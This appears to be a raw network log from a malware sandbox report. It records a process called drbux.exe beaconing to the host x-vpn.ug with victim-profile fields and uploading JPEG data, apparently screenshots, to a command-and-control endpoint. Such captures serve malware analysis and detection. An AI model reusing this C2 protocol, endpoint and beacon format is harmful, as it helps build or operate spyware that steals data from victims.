Jul 19, 2021 18:36:56.624501944 CEST	21027	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:56.722223043 CEST	21054	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:56 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
323	192.168.2.6	50082	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:56.934984922 CEST	21113	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:57.032599926 CEST	21114	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:56 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
324	192.168.2.6	50083	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:57.067774057 CEST	21114	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----d338b74f750b504e60dd9ff41ae63040 Host: x-vpn.ug Content-Length: 96659 Cache-Control: no-cache
Jul 19, 2021 18:36:57.068075895 CEST	21114	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 33 33 38 62 37 34 66 37 35 30 62 35 30 34 65 36 30 64 64 39 66 66 34 31 61 65 36 33 30 34 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------d338b74f750b504e60dd9ff41ae63040Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:57.068459988 CEST	21124	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:57.068696976 CEST	21127	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:57.147478104 CEST	21128	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:57 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:36:57.147655964 CEST	21136	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:57.147747040 CEST	21138	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:36:57.147960901 CEST	21141	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:36:57.148058891 CEST	21153	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:36:57.227785110 CEST	21170	OUT	Data Raw: 3b df b3 4e d6 fc 0e 2e f3 e0 ef 83 ed ec ae 26 4b 5b ad d1 c4 ce 01 b9 6c 64 0c d7 95 7c 42 f8 7b 3f 85 2e da ea cc 34 ba 54 8d f2 b7 53 11 fe eb 7f 8d 7d 0b 3d fd d5 c5 b4 b0 b6 83 a9 05 91 0a 12 24 b7 c8 04 63 fe 7a d6 45 d5 b1 d4 f4 5d 55 6e Data Ascii: ;N.&K[ld\|B{?.4TS}=$czE]UnffWIm;Fu 29YXZ)EzR<F"4rpTq^O^E[@1]I1?\|>ks3 6peJR
Jul 19, 2021 18:36:57.227940083 CEST	21197	OUT	Data Raw: 47 0c 9b b3 fe b4 bf fc 0f bc e4 2e 34 bd 46 ce e2 68 2e b4 fb b8 26 86 31 2c b1 cb 03 2b 46 84 81 b9 81 19 03 24 0c 9f 51 50 18 a5 fb 3a dc 18 a4 10 33 94 59 76 9d a5 80 04 80 7a 64 02 0e 3d c5 76 b6 d2 db b6 9d 73 73 f6 7b a9 bc 3c be 1b 68 ed Data Ascii: G.4Fh.&1,+F$QP:3Yvzd=vss{<hTN~.2#P#i\Yn7+3+:qb[^:Z;R9GiHC!N"KbNP(4Cp(SE<UbSB)F(h&usINi1MH7a\iZ;
Jul 19, 2021 18:36:57.274426937 CEST	21200	OUT	Data Raw: 1d 9a 33 4d cd 19 a0 2c 3b 34 94 dc d2 66 95 c7 61 e4 d2 66 9b 9a 4c d2 b8 ec 3b 34 66 99 9a 09 a2 e1 61 d9 a0 9a 6e 69 33 4a e3 b0 a6 8a 4c d1 9a 41 61 73 41 34 dc d2 13 45 c7 61 49 a4 cd 37 34 86 a6 e5 58 75 37 bd 19 34 94 0c 53 d6 83 46 69 33 Data Ascii: 3M,;4fafL;4fani3JLAasA4EaI74Xu74SFi3H%ZAE.h5isUpi3IIHvI)JQ@i4S+OCK-4Ss<qdzh5YN(;NI?6TiJ\(\|*?]SxC&/o'"ld+

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
325	192.168.2.6	50084	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:57.226131916 CEST	21153	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:57.305118084 CEST	21200	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:57 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
326	192.168.2.6	50085	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:57.493653059 CEST	21213	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:57.576769114 CEST	21214	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:57 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
327	192.168.2.6	50086	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:57.624913931 CEST	21214	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----d338b74f750b504e60dd9ff41ae63040 Host: x-vpn.ug Content-Length: 96659 Cache-Control: no-cache
Jul 19, 2021 18:36:57.625238895 CEST	21214	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 33 33 38 62 37 34 66 37 35 30 62 35 30 34 65 36 30 64 64 39 66 66 34 31 61 65 36 33 30 34 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------d338b74f750b504e60dd9ff41ae63040Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:57.625772953 CEST	21225	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:57.626583099 CEST	21227	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:57.718343973 CEST	21228	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:57 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:36:57.720504045 CEST	21233	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:57.720663071 CEST	21236	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:36:57.720753908 CEST	21239	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:36:57.720868111 CEST	21241	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:36:57.721266031 CEST	21244	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:36:57.721375942 CEST	21247	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h
Jul 19, 2021 18:36:57.722106934 CEST	21248	OUT	Data Raw: 6b 34 35 3d 5e ad 54 66 6e 92 35 05 c8 3d 54 53 84 91 37 de 51 59 c1 cd 3c 3d 68 a6 64 e9 97 fc ab 57 fe 01 4c 6b 0b 56 f6 aa c1 e9 c1 cd 3f 75 f4 26 d3 5b 32 43 a5 42 7e eb d4 67 48 1f c3 25 3c 4a 7d 6a 41 33 76 34 72 41 f4 0e 7a 8b a9 51 b4 99 Data Ascii: k45=^Tfn5=TS7QY<=hdWLkV?u&[2CB~gH%<J}jA3v4rAzQLN;t{Qck(S\|TSAP}fKtsOY]Qp~L:Q{&2Ltem=_R)qRwT\|;~Gx@JvxO

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
328	192.168.2.6	50087	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:57.785321951 CEST	21254	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:57.889820099 CEST	21294	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:57 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
329	192.168.2.6	50088	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:58.091142893 CEST	21314	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:58.193733931 CEST	21351	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:58 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.6	49770	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:40.209204912 CEST	4147	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:35:40.209534883 CEST	4147	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
